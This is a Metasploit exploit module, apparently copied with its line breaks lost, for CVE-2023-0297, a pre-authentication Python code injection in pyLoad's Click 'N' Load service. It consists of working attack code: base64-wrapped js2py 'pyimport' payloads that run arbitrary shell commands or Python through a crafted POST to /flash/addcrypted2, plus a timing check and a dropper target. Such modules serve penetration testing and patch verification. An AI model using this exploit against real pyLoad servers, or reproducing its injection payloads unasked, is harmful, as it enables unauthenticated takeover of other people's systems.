pyLoad js2py Python Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'rex/stopwatch'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'pyLoad js2py Python Execution',        'Description' => %q{          pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport          functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request          to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services,          the primary of which is on port 8000 and can not be used by external hosts. A secondary "Click 'N' Load"          service runs on port 9666 and can be used remotely without authentication.        },        'Author' => [          'Spencer McIntyre', # metasploit module          'bAu' # vulnerability discovery        ],        'References' => [          [ 'CVE', '2023-0297' ],          [ 'URL', 'https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/' ],          [ 'URL', 'https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad' ],          [ 'URL', 'https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d' ] # fix commit        ],        'DisclosureDate' => '2023-01-13',        'License' => MSF_LICENSE,        'Platform' => ['unix', 'linux', 'python'],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_PYTHON],        'Privileged' => true,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :linux_dropper            }          ],          [            'Python',            {              'Platform' => 'python',              'Arch' => ARCH_PYTHON,              'Type' => :python_exec            }          ],        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      Opt::RPORT(9666),      OptString.new('TARGETURI', [true, 'Base path', '/'])    ])  end  def check    sleep_time = rand(5..10)    _, elapsed_time = Rex::Stopwatch.elapsed_time do      execute_python("import time; time.sleep(#{sleep_time})")    end    vprint_status("Elapsed time: #{elapsed_time} seconds")    unless elapsed_time > sleep_time      return CheckCode::Safe('Failed to test command injection.')    end    CheckCode::Appears('Successfully tested command injection.')  rescue Msf::Exploit::Failed    return CheckCode::Safe('Failed to test command injection.')  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :unix_cmd      if execute_command(payload.encoded)        print_good("Successfully executed command: #{payload.encoded}")      end    when :python_exec      execute_javascript("pyimport builtins;pyimport base64;builtins.exec(base64.b64decode(\"#{Base64.strict_encode64(payload.encoded)}\"));")    when :linux_dropper      execute_cmdstager    end  end  def execute_command(cmd, _opts = {})    vprint_status("Executing command: #{cmd}")    # use the js2py pyimport command to import the os module to execute a command, use base64 to avoid character issues    # using popen instead of system ensures that the request is not blocked    javascript = "pyimport os;pyimport sys;pyimport base64;_=base64.b64decode(\"#{Base64.strict_encode64(cmd)}\");os.popen(sys.version_info[0] < 3?_:_.decode('utf-8'));"    execute_javascript(javascript)  end  def execute_python(python)    # use the js2py pyimport command to import the builtins module to access exec, use base64 to avoid character issues    javascript = "pyimport builtins;pyimport base64;builtins.exec(base64.b64decode(\"#{Base64.strict_encode64(python)}\"));"    execute_javascript(javascript)  end  def execute_javascript(javascript)    # https://github.com/pyload/pyload/blob/7d73ba7919e594d783b3411d7ddb87885aea782d/src/pyload/core/threads/clicknload_thread.py#L153    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'flash', 'addcrypted2'),      'vars_post' => {        'crypted' => '',        'jk' => "#{javascript}f=function f2(){};"      }    )    # the command will either cause the response to timeout or return a 500    return if res.nil?    return if res.code == 500 && res.body =~ /Could not decrypt key/    fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}")  endend